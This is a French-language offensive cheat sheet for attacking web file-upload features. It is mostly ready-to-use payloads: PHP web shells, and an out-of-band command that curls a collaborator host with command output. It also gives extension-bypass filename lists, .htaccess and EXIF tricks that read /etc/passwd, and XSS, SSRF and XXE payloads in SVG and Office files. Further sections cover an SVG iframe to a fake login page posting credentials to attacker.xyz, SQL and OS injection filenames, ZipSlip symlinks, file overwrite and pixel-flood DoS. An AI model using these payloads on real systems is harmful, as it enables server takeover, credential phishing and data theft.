Upload features

Outils / Ressources

Liste perso: https://github.com/mathis2001/Files-upload

malicious-pdf

malicious-pdf est un outil permettant de generer plusieurs fichiers PDF contenant un canary de votre choix.

Utilisation:

$ python3 malicious-pdf.py https://your-burp-collab.com

Ressource: https://github.com/jonaslejon/malicious-pdf

JS2PDFInjector

JS2PDFInjector est un outil permettant d'injecter facilement du code javascript dans un fichier PDF.

Utilisation:

$ java -jar JS2PDFInjector.jar <PDF FILE> <JS FILE>

Ressource: https://github.com/cornerpirate/JS2PDFInjector

Web Shell upload

L'exécution de code à distance est l'une des attaques les plus intéressantes qui viennent à l'esprit chaque fois qu'il existe une fonctionnalité de téléchargement de fichiers. Il existe plusieurs façons d'exécuter une exécution de code avec des fichiers malveillants, l'une des plus courantes consiste à télécharger un shell et à obtenir un accès supplémentaire.

Simple shell PHP pour RCE:

<?php system($_GET['cmd']);?>

OOB RCE:

<?php system('curl https://your.burp.collab.com -d data=$(id)");?>

Information disclosure:

<?php phpinfo(); ?>

Le but est d'essayez de télécharger ce code avec l'extension .php et essayez de localiser et de récupérer le fichier php à partir de l'application. Dans l'url du fichier, vous pouvez ajouter le paramètre 'cmd' avec lequel vous pouvez entrer des commandes.

Bien sûr aujourd'hui il existe énormément de façon de se protéger de ce type d'attaque et tout autant de manières de contourner ces protections.

Contourner les vérifications d'extension

# Avec des majuscules
file.pHp
file.Php
...

# Avec des caractères spéciaux
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.
file.php....
file.pHp5....

# + Double - Triple extension 
file.png.php
file.png.pHp5
file.php%00.png
file.php\x00.png
file.php%0a.png
file.php%0d%0a.png
file.phpJunk123png
file.png.jpg.php
file.php%00.png%00.jpg

Akamai WAF bypass: cmd.jpg.aspx. (Avec un point au bout)

Il est également possible de changer le type MIME de l'image directement dans la requête http avec burp suite.

Contournement via normalisation

?file===shell.php

Directory traversal

Vous pouvez aussi essayer de changer le nom du fichier uploadé pour du directory traversal.

Content-Disposition: form-data; name="avatar"; filename="exploit.php"

Content-Disposition: form-data; name="avatar"; filename="../exploit.php"

Content-Disposition: form-data; name="avatar"; filename="..%2fexploit.php"

Utiliser .htaccess

le fichier .htaccess permet dans les serveurs HTTP Apache de modifier les paramètres de sécurité de ceux-ci. Dans l'exemple ci-dessous, nous allons voir qu'il est parfois possible d'uploader un faux fichier .htaccess contenant des configurations malveillantes dans un contexte de file upload pour permettre d'uploader un fichier .php en utilisant une extension qui ne serait pas blacklisté.

Etapes:

  • Interception d'une fonction d'upload

Exemple:

POST /my-account/avatar HTTP/1.1
Host: target.com
...
...
...

------WebKitFormBoundaryWc2z0Dfx3OLvNH6j
Content-Disposition: form-data; name="avatar"; filename="image.jpeg"
Content-Type: image/jpeg

content
------WebKitFormBoundaryWc2z0Dfx3OLvNH6j
Content-Disposition: form-data; name="user"

user
------WebKitFormBoundaryWc2z0Dfx3OLvNH6j
Content-Disposition: form-data; name="csrf"

MkUW5fzHhpMECD7W2TxGcoGrJF1O10JV
------WebKitFormBoundaryWc2z0Dfx3OLvNH6j--
  • Upload du faux fichier .htaccess

POST /my-account/avatar HTTP/1.1
Host: target.com
...
...
...

------WebKitFormBoundaryWc2z0Dfx3OLvNH6j
Content-Disposition: form-data; name="avatar"; filename=".htaccess"
Content-Type: plain/text

AddType application/x-httpd-php .test  #Si on utilise une extension .test elle sera considéré comme du php
------WebKitFormBoundaryWc2z0Dfx3OLvNH6j
Content-Disposition: form-data; name="user"

user
------WebKitFormBoundaryWc2z0Dfx3OLvNH6j
Content-Disposition: form-data; name="csrf"

MkUW5fzHhpMECD7W2TxGcoGrJF1O10JV
------WebKitFormBoundaryWc2z0Dfx3OLvNH6j--
  • Upload du fichier "php" avec l'extension configurée.

POST /my-account/avatar HTTP/1.1
Host: target.com
...
...
...

------WebKitFormBoundaryWc2z0Dfx3OLvNH6j
Content-Disposition: form-data; name="avatar"; filename="shell.test"
Content-Type: image/jpeg

<?php echo file_get_contents('../../../etc/passwd'); ?>
------WebKitFormBoundaryWc2z0Dfx3OLvNH6j
Content-Disposition: form-data; name="user"

wiener
------WebKitFormBoundaryWc2z0Dfx3OLvNH6j
Content-Disposition: form-data; name="csrf"

MkUW5fzHhpMECD7W2TxGcoGrJF1O10JV
------WebKitFormBoundaryWc2z0Dfx3OLvNH6j--

Payload dans les données EXIF

On peut utiliser l'outil exiftool pour modifier ces données par exemple.

$ exiftool -Comment="<?php echo file_get_contents('/home/carlos/secret'); ?>" <YOUR-INPUT-IMAGE>.jpg -o secret.php

Site

https://www.metabaseq.com/imagemagick-zero-days/

XSS

Un téléchargement de fichier est une opportunité sérieuse de trouver des XSS vers une application Web.

A tester:

  • XSS via le nom de fichier

Exemple "><img src=x onerror=alert(document.domain)>.jpg

  • XSS via les métadonnées

En utilisant exiftool, il est possible de modifier les métadonnées EXIF ​​qui peuvent conduire à une réflexion quelque part :

Exemple:

$ exiftool -Author="><img src=x onerror=alert(document.domain)>image.jpg

  • XSS via le fichier SVG

Si l'application permet le téléchargement d'une extension de fichier SVG (qui est également un type d'image), un fichier avec le contenu suivant peut être utilisé pour déclencher un XSS :

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>

  • Blind XSS via SVG

  • XSS via PDF files upload

SSRF

Server-Side Request Forgery est l'une des vulnérabilités de sécurité les plus intéressantes et les plus percutantes. Une fonctionnalité de téléchargement de fichiers qui peut permettre l'utilisation de fichiers tels que des fichiers HTML ou SVG. Il peut s'agir d'une SSRF interne, d'une SSRF de métadonnées cloud ou simplement d'une SSRF externe.

  • SSRF via nom de fichier

Essayez d'envoyer l'URL en tant que nom de fichier pour obtenir un blind SSRF, par exemple filename=https://evil.com/internal/file . Vous pouvez également essayer de changer type = "fichier" en type = "url" dans une requête.

  • SSRF via SVG upload

Essayez de télécharger ce code avec l'extension .svg et récupérez le fichier svg de l'application pour vérifier :

<svg width="200" heightè="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><image xlink:href="https://target.com/image.jpg" height="200" width="200" /></svg>

  • SSRF via iframe en html

Essayez de télécharger ce code avec l'extension .html et récupérez le fichier html de l'application pour vérifer:

<html> <body> <iframe src=”http://evil.com" width=”500" height=”500"></iframe> </body> </html>

XXE

Dans fichier SVG

La fonctionnalité de téléchargement de fichiers ouvre la passerelle pour les entités externes XML, en particulier lorsque l'application accepte les formats de fichiers prenant en charge XML. Le format SVG utilisant XML, un attaquant peut soumettre une image SVG illicite et ainsi atteindre une surface d'attaque cachée pour les vulnérabilités XXE.

Essayez de télécharger ce code avec l'extension .svg et récupérez le fichier svg de l'application pour vérifier :

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text></svg>

Dans fichiers PPTX, DOCX, XLXS

  1. Dézipper le fichier

  2. Mettre le payload dans /word/document.xml, /ppt/presentation.xml ou /xl/workbook.xml suivant le type de fichier.

  3. Rezipper le fichier (exemple: $ zip -r document.docx)

Payload

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "https://your.burp.collab.com" > ]>

SVG => HTMLi => ATO

Fichier SVG:

<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
    <g>
        <foreignObject width="800" height="500">
            <body xmlns="http://www.w3.org/1999/xhtml">
                <iframe src="https://attacker.xyz/fakelogin.html" width="800" height="500"></iframe>
            </body>
        </foreignObject>
    </g>
</svg>

Créer une iframe intégrant https://attacker.xyz/fakelogin.html

PoC page de connexion fakelogin.html:

<h1>Victim login page copy</h1>
<form action="https://attacker.xyz" method="post">
<label for="email">Adresse e-mail:</label>
<input name="email">
<label for="password">Mot de Passe:</label>
<input type="password" name="password">
<input type="submit" value="Connexion"></form>

CSRF

Cross-Site Request Forgery (CSRF) est une attaque qui oblige les utilisateurs authentifiés à soumettre une requête à une application Web contre laquelle ils sont actuellement authentifiés. Il est possible d'effectuer des attaques CSRF sur les fonctionnalité de téléchargement de fichiers en créant un formulaire HTML.

étapes:

  • Capturer la demande de formulaire de téléchargement

  • Créer un POC avec Burp CSRF POC

  • Ouvrir ce fichier HTML POC dans un compte différent lui même dans un navigateur différent

  • Voir si le téléchargement du fichier réussit dans un autre compte.

Fuite de métadonnées Exif

Cela se produit lorsqu'un utilisateur télécharge une image dans le site cible et que les données de métadonnées EXIF ​​​​de l'image téléchargée ne sont pas supprimées. En conséquence, n'importe qui peut obtenir des informations sensibles sur les utilisateurs du site comme leur géolocalisation, les informations sur leur appareil comme le nom de l'appareil, la version, la version du logiciel et du logiciel utilisé, etc.

étapes:

  • Uploader une image sur le site cible.

  • Télécharger l'image uploadé.

  • Vérifier si les métadonnées sont supprimés ou non avec exiftool ou le site https://aperisolve.fr/.

Open redirect via SVG upload

possibilité de créer une charge utile qui redirige les utilisateurs vers un domaine contrôlé par l'attaquant.

même payload que pour SSRF.

Exploitation avec le nom de fichier

Voici quelques vulnérabilités qui peuvent être exploitées en changeant le nom du fichier. C'est facile à tester et cela vaut la peine de les tester. Vous pouvez changer le nom du fichier en nom suivant pour obtenir les bug respectifs.

Path traversal: ../../../tmp/test.png

Injection SQL: sleep(10) — -.jpg

OS injection: ;sleep 10;.jpg

DoS: renomer le nom du fichier avec un pattern très long

ZipSlip attack

Une archive peut contenir un lien symbolique. Un lien symbolique est un fichier spécial lié à un autre fichier. En téléchargeant un zip contenant un lien symbolique, et une fois le zip extrait, vous pouvez accéder au lien symbolique pour accéder aux fichiers auxquels vous ne devriez pas avoir accès. Pour ce faire, vous devez faire en sorte que votre lien symbolique pointe vers des fichiers en dehors de la racine Web, par exemple /etc/passwd.

Ces types de problèmes surviennent généralement lorsqu'un développeur autorise l'acceptation d'un fichier zip dans notre fonctionnalité de téléchargement. Lorsqu'un utilisateur télécharge le fichier zip dans l'application, il prend simplement le fichier zip et extrait ses fichiers sans aucune validation.

étapes:

  • Créer un lien symbolique vers la ressource souhaité

Exemple: $ ln -s ../../../etc/passwd lien.txt

  • Créer un zip avec le lien symbolique créé

$ zip --symlinks exploit.zip lien.txt

  • Uploader le fichier exploit.zip sur le cite cible et l'ouvrir.

File Overwrite

L'écrasement de fichier est une attaque intéressante lors du téléchargement du fichier lorsqu'un utilisateur peut contrôler et définir arbitrairement le chemin où le fichier doit être stocké. Cela peut être considéré comme similaire aux attaques Zip Slip et Path Traversal, mais en supposant qu'il est possible de télécharger directement un fichier et de modifier son chemin pour écraser un fichier système existant, cela reste un problème distinct.

étapes:

  • Créez n'importe quel fichier système tel que /etc/passwd.

  • Accédez à la fonctionnalité de téléchargement de fichier et uploader ce fichier tout en capturant la demande avec Burp Suite.

# Exemple
POST /upload
Host: target.com
....
other headers
....filename=/etc/passwd&content={file_content}
  • Modifiez maintenant cette requête en modifiant le paramètre de nom de fichier en ../../../../etc/passwd.

POST /upload
Host: target.com
....
other headers
....filename=../../../../etc/passwd&content={file_content}
  • Si le téléchargement réussit, actualisez l'application et observez s'il y a un mauvais comportement ou un plantage pour confirmer la vulnérabilité.

Windows ADS

Un flux de données alternatif (ADS) est une fonctionnalité peu connue du système de fichiers NTFS. Il a la capacité de forker des données dans un fichier existant sans changer sa taille de fichier ou sa fonctionnalité. En d'autres termes, ADS permet de cacher un fichier dans un autre.

Exemple:

C:> echo Somedata > file.txt
C:> type file.txt
Somedata
C:> type c:\windows\system32\calc.exe > file.txt:calc.exe

C:> start c:\file.txt:calc.exe

Pixel Flood Attack (DoS)

  • Aller sur https://www.resizepixel.com/ et redimensionnez une image en 64250*64250px.

  • Accédez à l'application vulnérable ayant la possibilité de télécharger un fichier image.

  • Téléchargez le fichier généré à partir de "l'étape 1" et observez la réponse du serveur.

  • Si le serveur met trop de temps à répondre ou si l'application est devenue inaccessible, confirmez avec un autre appareil, si le problème de décalage/accessibilité se produit, l'application est vulnérable à l'attaque par inondation de pixels.

Tenter de contourner la validation via une race condition.

Dernière mise à jour